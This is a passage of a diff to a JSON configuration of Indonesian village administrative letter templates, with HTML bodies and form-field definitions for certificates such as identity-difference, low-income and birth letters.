"anak", - "tipe": "text", - "kode": "[form_nama_anak]", - "nama": "Nama Anak", - "deskripsi": "Nama Anak", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "Nama Anak", - "kaitkan_kode": "" - }, - { - "kategori": "anak", - "tipe": "text", - "kode": "[form_tempat_lahir]", - "nama": "Tempat Lahir", - "deskripsi": "Tempat Lahir", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "6", - "label": "Tempat \/ Tanggal Lahir", - "kaitkan_kode": "" - }, - { - "kategori": "anak", - "tipe": "text", - "kode": "[form_hari_lahir]", - "nama": "Hari Lahir", - "deskripsi": "Hari Lahir", - "required": "0", - "atribut": "class=\" hari\"\r\nreadonly", - "pilihan": null, - "refrensi": null, - "kolom": "2", - "label": "Tempat \/ Tanggal Lahir", - "kaitkan_kode": "" - }, - { - "kategori": "anak", - "tipe": "date", - "kode": "[form_tanggal_lahir]", - "nama": "Tanggal Lahir", - "deskripsi": "Tanggal Lahir", - "required": "0", - "atribut": "class=\" datepicker data_hari\"", - "pilihan": null, - "refrensi": null, - "kolom": "4", - "label": "Tempat \/ Tanggal Lahir", - "kaitkan_kode": "" - }, - { - "kategori": "anak", - "tipe": "textarea", - "kode": "[form_alamat_anak]", - "nama": "Alamat Anak", - "deskripsi": "Masukkan Alamat Anak", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "Alamat Anak", - "kaitkan_kode": "" - }, - { - "kategori": "anak", - "tipe": "text", - "kode": "[form_nama_ayah]", - "nama": "Nama Ayah", - "deskripsi": "Nama Ayah", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "Nama Ayah", - "kaitkan_kode": "" - }, - { - "kategori": "anak", - "tipe": "text", - "kode": "[form_nama_ibu]", - "nama": "Nama Ibu", - "deskripsi": "Nama Ibu", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "Nama Ibu", - "kaitkan_kode": "" }, - { - "kategori": "anak", - "tipe": "textarea", - "kode": "[form_alamat_orang_tua]", - "nama": "Alamat Orang Tua", - "deskripsi": "Alamat Orang Tua", - "required": "0", - "atribut": null, - "pilihan": null, - "refrensi": null, - "kolom": "", - "label": "Alamat Orang Tua", - "kaitkan_kode": "" - } - ], - "orientasi": "Potrait", - "ukuran": "F4", - "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", - "margin_global": "0", - "footer": "1", - "header": 1, - "format_nomor": null, - "sumber_penduduk_berulang": "0" - }, - { - "nama": "Keterangan Beda Identitas", - "url_surat": "surat-keterangan-beda-identitas", - "kode_surat": "471.1", - "lampiran": "F-1.06", - "kunci": false, - "favorit": false, - "jenis": "3", - "mandiri": false, - "masa_berlaku": 1, - "satuan_masa_berlaku": "M", - "qr_code": true, - "logo_garuda": false, - "kecamatan": "0", - "syarat_surat": null, - "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n

        I. Identitas dalam KK<\/strong><\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3..<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.

        <\/td>\r\n
        Alamat \/ Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Ii. Identitas dalam [Form_kartU]<\/strong><\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nNo. Identitas<\/td>\r\n:<\/td>\r\n[Form_nomor_identitaS]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nNama<\/td>\r\n:<\/td>\r\n[Form_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[Form_tempat_lahiR], [Form_tanggal_lahiR]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n10.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Form_jenis_kelamiN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n11.<\/td>\r\nAlamat \/ Tempat Tinggal<\/td>\r\n:<\/td>\r\n[Form_alamaT]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n12.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[Form_agamA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n13.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Form_pekerjaaN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n14.<\/td>\r\nKeterangan<\/td>\r\n:<\/td>\r\n[Form_keterangaN]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Adalah benar-benar warga [SeButan_desa] [NaMa_desa] dan merupakan orang yang sama namun terdapat perbedaan [Form_perbedaaN] seperti tersebut di atas. Adapun data yang benar dan dipakai seperti yang tercantum di Kartu Keluarga (KK).<\/p>\r\n

        Demikian surat ini dibuat untuk dipergunakan sebagaimana mestinya.<\/p>\r\n

        \u00a0<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", - "form_isian": { - "individu": { - "sumber": 1, + "Saksi_I": { + "sumber": "1", "data": [ - "1" + "1", + "3" ], "sex": "", "status_dasar": [ - "1" - ], - "kk_level": [ "1", "2", "3", @@ -5407,33 +5347,33 @@ "6", "7", "8", - "9", - "10", - "11" + "9" ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", - "info": "", - "sebagai": 1, - "hubungan": null + "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "judul": "Saksi I", + "label": "Saksi 1", + "hubungan": "" }, - "identitas_kedua": { - "sumber": 0, + "Saksi_II": { + "sumber": "1", "data": [ - "1" + "1", + "3" ], "sex": "", "status_dasar": [ - "1", - "2", - "3", - "4", - "6", - "9" - ], - "kk_level": [ "1", "2", "3", @@ -5442,226 +5382,243 @@ "6", "7", "8", - "9", - "10", - "11" + "9" ], - "judul": "Identitas Kedua", - "label": "Identitas Kedua", - "info": "", - "sebagai": 0, + "kk_level": [ + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11 + ], + "judul": "Saksi II", + "label": "Saksi 2", "hubungan": "" } }, "kode_isian": [ { - "kategori": "identitas_kedua", + "kategori": "letak", "tipe": "text", - "kode": "[form_nama_kartu_identitas]", - "nama": "Nama Kartu Identitas", - "deskripsi": "Nama Kartu Identitas", + "kode": "[form_jalan]", + "nama": "Jalan", + "deskripsi": "Jalan", "required": "1", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "", - "label": "Nama Kartu Identitas", + "label": "", "kaitkan_kode": "" }, { - "kategori": "identitas_kedua", + "kategori": "letak", "tipe": "text", - "kode": "[form_nomor_identitas]", - "nama": "Nomor Identitas", - "deskripsi": "Nomor Identitas", + "kode": "[form_rt_rw]", + "nama": "RT \/ RW", + "deskripsi": "RT \/ RW", "required": "1", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "", - "label": "Nomor Identitas", + "label": "", "kaitkan_kode": "" }, { - "kategori": "identitas_kedua", + "kategori": "letak", "tipe": "text", - "kode": "[form_nama]", - "nama": "Nama", - "deskripsi": "Nama", + "kode": "[form_desa_kelurahan]", + "nama": "Desa \/ Kelurahan", + "deskripsi": "Desa \/ Kelurahan", "required": "1", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "", - "label": "Nama", + "label": "", "kaitkan_kode": "" }, { - "kategori": "identitas_kedua", + "kategori": "letak", "tipe": "text", - "kode": "[form_tempat_lahir]", - "nama": "Tempat Lahir", - "deskripsi": "Tempat Lahir", + "kode": "[form_kecamatan]", + "nama": "Kecamatan", + "deskripsi": "Kecamatan", "required": "1", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "9", - "label": "Tempat Tanggal Lahir", + "kolom": "", + "label": "", "kaitkan_kode": "" }, { - "kategori": "identitas_kedua", - "tipe": "date", - "kode": "[form_tanggal_lahir]", - "nama": "Tanggal Lahir", - "deskripsi": "Tanggal Lahir", + "kategori": "letak", + "tipe": "text", + "kode": "[form_kabupaten_kota]", + "nama": "Kabupaten \/ Kota", + "deskripsi": "Kabupaten \/ Kota", "required": "1", "atribut": null, "pilihan": null, "refrensi": null, - "kolom": "3", - "label": "Tempat Tanggal Lahir", + "kolom": "", + "label": "", "kaitkan_kode": "" }, { - "kategori": "identitas_kedua", - "tipe": "select-otomatis", - "kode": "[form_jenis_kelamin]", - "nama": "Jenis Kelamin", - "deskripsi": "Pilih Jenis Kelamin", + "kategori": "letak", + "tipe": "text", + "kode": "[form_nib]", + "nama": "NIB", + "deskripsi": "NIB", "required": "1", "atribut": null, "pilihan": null, - "refrensi": "tweb_penduduk_sex", - "kolom": "6", - "label": "Jenis Kelamin", + "refrensi": null, + "kolom": "", + "label": "", "kaitkan_kode": "" }, { - "kategori": "identitas_kedua", - "tipe": "select-otomatis", - "kode": "[form_agama]", - "nama": "Agama", - "deskripsi": "Pilih Agama", + "kategori": "letak", + "tipe": "text", + "kode": "[form_luas_tanah_m2]", + "nama": "Luas Tanah (m2)", + "deskripsi": "Luas Tanah (m2)", "required": "1", "atribut": null, "pilihan": null, - "refrensi": "tweb_penduduk_agama", - "kolom": "6", - "label": "Agama", + "refrensi": null, + "kolom": "", + "label": "", "kaitkan_kode": "" }, { - "kategori": "identitas_kedua", - "tipe": "select-otomatis", - "kode": "[form_pekerjaan]", - "nama": "Pekerjaan", - "deskripsi": "Pekerjaan", + "kategori": "letak", + "tipe": "text", + "kode": "[form_status_tanah]", + "nama": "Status Tanah", + "deskripsi": "Status Tanah", "required": "1", "atribut": null, "pilihan": null, - "refrensi": "tweb_penduduk_pekerjaan", - "kolom": "6", - "label": "Pekerjaan", + "refrensi": null, + "kolom": "", + "label": "", "kaitkan_kode": "" }, { - "kategori": "identitas_kedua", - "tipe": "textarea", - "kode": "[form_alamat]", - "nama": "Alamat", - "deskripsi": "Alamat", + "kategori": "letak", + "tipe": "text", + "kode": "[form_dipergunakan]", + "nama": "Dipergunakan", + "deskripsi": "Dipergunakan", "required": "1", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "", - "label": "Alamat", + "label": "", "kaitkan_kode": "" }, { - "kategori": "identitas_kedua", - "tipe": "textarea", - "kode": "[form_keterangan]", - "nama": "Keterangan", - "deskripsi": "Keterangan", + "kategori": "batas", + "tipe": "text", + "kode": "[form_batas_sebelah_utara]", + "nama": "Batas Sebelah Utara", + "deskripsi": "Batas Sebelah Utara", "required": "1", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "", - "label": "Keterangan", + "label": "", "kaitkan_kode": "" }, { - "kategori": "identitas_kedua", + "kategori": "batas", "tipe": "text", - "kode": "[form_perbedaan]", - "nama": "Perbedaan", - "deskripsi": "Perbedaan", + "kode": "[form_batas_sebelah_timur]", + "nama": "Batas Sebelah Timur", + "deskripsi": "Batas Sebelah Timur", "required": "1", "atribut": null, "pilihan": null, "refrensi": null, "kolom": "", - "label": "Perbedaan", + "label": "", "kaitkan_kode": "" - } - ], - "orientasi": "Potrait", - "ukuran": "F4", - "margin": "{\"kiri\":1.78,\"atas\":0.63,\"kanan\":1.78,\"bawah\":1.37}", - "margin_global": "0", - "footer": "1", - "header": 1, - "format_nomor": null, - "sumber_penduduk_berulang": "0" - }, - { - "nama": "Keterangan Kurang Mampu", - "url_surat": "surat-keterangan-kurang-mampu", - "kode_surat": "S-11", - "lampiran": null, - "kunci": false, - "favorit": false, - "jenis": "3", - "mandiri": true, - "masa_berlaku": 1, - "satuan_masa_berlaku": "M", - "qr_code": true, - "logo_garuda": false, - "kecamatan": "0", - "syarat_surat": "null", - "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nID BDT<\/td>\r\n:<\/td>\r\n[Id_bdT]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nNo. KTP<\/td>\r\n:<\/td>\r\n[Nik]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[Ttl]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.

        <\/td>\r\n
        Alamat \/ Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Bahwa yang tersebut namanya di atas, sepanjang pengetahuan dan penelitian kami hingga saat dikeluarkannya surat keterangan ini memang benar Keluarga yang KURANG MAMPU dan tidak memiliki pengahasilan tetap.

        <\/p>\r\n

        DAFTAR TANGGUNGAN KELUARGA
        <\/strong><\/span><\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        NO.<\/strong><\/span><\/td>\r\nNIK<\/strong><\/span><\/td>\r\nNAMA<\/strong><\/span><\/td>\r\nL \/ P<\/strong><\/span><\/td>\r\nTEMPAT TANGGAL LAHIR<\/strong><\/span><\/td>\r\nSHDK<\/strong><\/span><\/td>\r\n<\/tr>\r\n
        [KLg1_no]<\/span><\/td>\r\n[KLg1_nik]<\/span><\/td>\r\n[KLg1_nama]<\/span><\/td>\r\n[KLg1_jenis_kelamin]<\/span><\/td>\r\n[KLg1_ttl]<\/span><\/td>\r\n[KLg1_hubungan_kk]<\/span><\/td>\r\n<\/tr>\r\n
        [KLg2_no]<\/span><\/td>\r\n[KLg2_nik]<\/span><\/td>\r\n[KLg2_nama]<\/span><\/td>\r\n[KLg2_jenis_kelamin]<\/span><\/td>\r\n[KLg2_ttl]<\/span><\/td>\r\n[KLg2_hubungan_kk]<\/span><\/td>\r\n<\/tr>\r\n
        [KLg3_no]<\/span><\/td>\r\n[KLg3_nik]<\/span><\/td>\r\n[KLg3_nama]<\/span><\/td>\r\n[KLg3_jenis_kelamin]<\/span><\/td>\r\n[KLg3_ttl]<\/span><\/td>\r\n[KLg3_hubungan_kk]<\/span><\/td>\r\n<\/tr>\r\n
        [KLg4_no]<\/span><\/td>\r\n[KLg4_nik]<\/span><\/td>\r\n[KLg4_nama]<\/span><\/td>\r\n[KLg4_jenis_kelamin]<\/span><\/td>\r\n[KLg4_ttl]<\/span><\/td>\r\n[KLg4_hubungan_kk]<\/span><\/td>\r\n<\/tr>\r\n
        [KLg5_no]<\/span><\/td>\r\n[KLg5_nik]<\/span><\/td>\r\n[KLg5_nama]<\/span><\/td>\r\n[KLg5_jenis_kelamin]<\/span><\/td>\r\n[KLg5_ttl]<\/span><\/td>\r\n[KLg5_hubungan_kk]<\/span><\/td>\r\n<\/tr>\r\n
        [KLg6_no]<\/span><\/td>\r\n[KLg6_nik]<\/span><\/td>\r\n[KLg6_nama]<\/span><\/td>\r\n[KLg6_jenis_kelamin]<\/span><\/td>\r\n[KLg6_ttl]<\/span><\/td>\r\n[KLg6_hubungan_kk]<\/span><\/td>\r\n<\/tr>\r\n
        [KLg7_no]<\/span><\/td>\r\n[KLg7_nik]<\/span><\/td>\r\n[KLg7_nama]<\/span><\/td>\r\n[KLg7_jenis_kelamin]<\/span><\/td>\r\n[KLg7_ttl]<\/span><\/td>\r\n[KLg7_hubungan_kk]<\/span><\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Surat Keterangan ini dibuat untuk keperluan : [Form_keperluaN]<\/strong><\/span><\/p>\r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya, untuk dapat dipergunakan sebagaimana mestinya.<\/p>\r\n

        \u00a0<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        Pemegang Surat<\/td>\r\n\u00a0<\/td>\r\n[Atas_nama]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        [NAma]<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", - "form_isian": { - "individu": { - "sumber": 1, - "data": [ - "1" - ], - "sex": "", - "status_dasar": [ - "1" - ], - "kk_level": [ - "1" - ], - "data_orang_tua": "0", - "data_pasangan": "0", - "judul": "Pemohon", - "label": "Keterangan Pemohon", - "info": "", - "sebagai": 1, - "hubungan": null - } - }, - "kode_isian": [ + }, + { + "kategori": "batas", + "tipe": "text", + "kode": "[form_batas_sebelah_selatan]", + "nama": "Batas Sebelah Selatan", + "deskripsi": "Batas Sebelah Selatan", + "required": "1", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "", + "label": "", + "kaitkan_kode": "" + }, + { + "kategori": "batas", + "tipe": "text", + "kode": "[form_batas_sebelah_barat]", + "nama": "Batas Sebelah Barat", + "deskripsi": "Batas Sebelah Barat", + "required": "1", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "", + "label": "", + "kaitkan_kode": "" + }, { - "tipe": "textarea", - "kode": "[form_keperluan]", - "nama": "Keperluan", - "deskripsi": "Masukkan Keperluan", + "kategori": "asal", + "tipe": "text", + "kode": "[form_tanah_diperoleh_dari_]", + "nama": "Tanah Diperoleh Dari ", + "deskripsi": "Tanah Diperoleh Dari ", + "required": "1", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "", + "label": "", + "kaitkan_kode": "" + }, + { + "kategori": "asal", + "tipe": "text", + "kode": "[form_diperoleh_sejak_tahun]", + "nama": "Diperoleh Sejak Tahun", + "deskripsi": "Sejak Tahun", + "required": "1", + "atribut": null, + "pilihan": null, + "refrensi": null, + "kolom": "", + "label": "", + "kaitkan_kode": "" + }, + { + "kategori": "asal", + "tipe": "text", + "kode": "[form_dengan_jalan]", + "nama": "Dengan Jalan", + "deskripsi": "Dengan Jalan", "required": "1", "atribut": null, "pilihan": null, @@ -5681,21 +5638,22 @@ "sumber_penduduk_berulang": "0" }, { - "nama": "Keterangan KTP dalam Proses", - "url_surat": "surat-keterangan-ktp-dalam-proses", - "kode_surat": "S-08", - "lampiran": null, + "nama": "Keterangan Kelahiran", + "url_surat": "surat-keterangan-kelahiran", + "kode_surat": "S-17", + "lampiran": "F-2.01", "kunci": false, "favorit": false, "jenis": "3", - "mandiri": true, + "mandiri": false, "masa_berlaku": 1, "satuan_masa_berlaku": "M", - "qr_code": true, + "qr_code": false, "logo_garuda": false, "kecamatan": "0", - "syarat_surat": "null", - "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nTempat \/ Tanggal Lahir<\/td>\r\n:<\/td>\r\n[TtL]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nJenis Kelamin<\/td>\r\n:<\/td>\r\n[Jenis_kelamin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.

        <\/td>\r\n
        Alamat \/ Tempat Tinggal

        <\/td>\r\n
        :

        <\/td>\r\n
        [AlamaT] [Sebutan_desa] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nAgama<\/td>\r\n:<\/td>\r\n[AgAma]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n6.<\/td>\r\nStatus<\/td>\r\n:<\/td>\r\n[Status_kawin]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[PeKerjaan]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nKewarganegaraan<\/td>\r\n:<\/td>\r\n[WArga_negara]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Orang tersebut di atas adalah benar-benar warga [SeButan_desa] [NaMa_desa] yang saat ini Kartu Tanda Penduduk sedang dalam proses.<\/p>\r\n

        Demikian surat keterangan ini dibuat dengan sesungguhnya untuk dipergunakan sebagaimana mestinya.

        <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[NaMa_desa], [TgL_surat]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Atas_namA]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n



        <\/td>\r\n
        \u00a0<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[Nama_pamonG]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n\u00a0<\/td>\r\n[SEbutan_nip_desa] : [nip_pamong]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        [qr_code]<\/div>", + "syarat_surat": null, + "template": "

        [JUdul_surat]<\/span><\/h4>\r\n

        Nomor : [Format_nomor_suraT]

        <\/p>\r\n

        Yang bertanda tangan di bawah ini [JaBatan] [NaMa_desa], Kecamatan [NaMa_kecamatan], [SeButan_kabupaten] [NaMa_kabupaten], Provinsi [NaMa_provinsi] menerangkan dengan sebenarnya bahwa :<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n1.<\/td>\r\nHari<\/td>\r\n:<\/td>\r\n[Hari_kelahiraN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n2.<\/td>\r\nTanggal<\/td>\r\n:<\/td>\r\n[Tanggal_kelahiraN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n3.<\/td>\r\nPukul<\/td>\r\n:<\/td>\r\n[Jam_kelahiraN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n4.<\/td>\r\nTempat<\/td>\r\n:<\/td>\r\n[Tempat_dilahirkanN]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n5.<\/td>\r\nTelah lahir seorang anak<\/td>\r\n:<\/td>\r\n[NAma]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Dari seorang ibu:<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n6.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma_ibu]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n7.<\/td>\r\nNIK \/ No KTP<\/td>\r\n:<\/td>\r\n[Nik_ibU]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n8.<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[Usia_ibU]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n9.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_ibU]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n10.<\/td>\r\nAlamat\/Tempat Tinggal<\/td>\r\n:<\/td>\r\n[Alamat_ibU]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Istri dari:<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n11.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma_ayah]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n12.<\/td>\r\nNIK \/ No KTP<\/td>\r\n:<\/td>\r\n[Nik_ayaH]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n13.<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[Usia_ayaH]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n14.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_ayaH]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n15.<\/td>\r\nAlamat\/Tempat Tinggal<\/td>\r\n:<\/td>\r\n[Alamat_ayaH]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Surat keterangan ini dibuat berdasarkan keterangan pelapor:<\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
        \u00a0<\/td>\r\n16.<\/td>\r\nNama Lengkap<\/td>\r\n:<\/td>\r\n[NAma_pelapor]<\/strong><\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n17.<\/td>\r\nNIK<\/td>\r\n:<\/td>\r\n[Nik_pelapoR]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n18.<\/td>\r\nUmur<\/td>\r\n:<\/td>\r\n[Usia_pelapoR]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n19.<\/td>\r\nPekerjaan<\/td>\r\n:<\/td>\r\n[Pekerjaan_pelapoR]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n20.<\/td>\r\nAlamat \/ Tempat Tinggal<\/td>\r\n:<\/td>\r\n[Alamat_pelapoR]<\/td>\r\n<\/tr>\r\n
        \u00a0<\/td>\r\n21.<\/td>\r\nHubungan pelapor dengan bayi<\/td>\r\n:<\/td>\r\n[Form_hubungan_pelapor_dengan_bayI]<\/td>\r\n<\/tr>\r\n<\/tbody>\r\n<\/table>\r\n

        Demikian surat keterangan ini dibuat dengan sebenarnya agar dapat dipergunakan sebagaimana mestinya.

        <\/p>\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
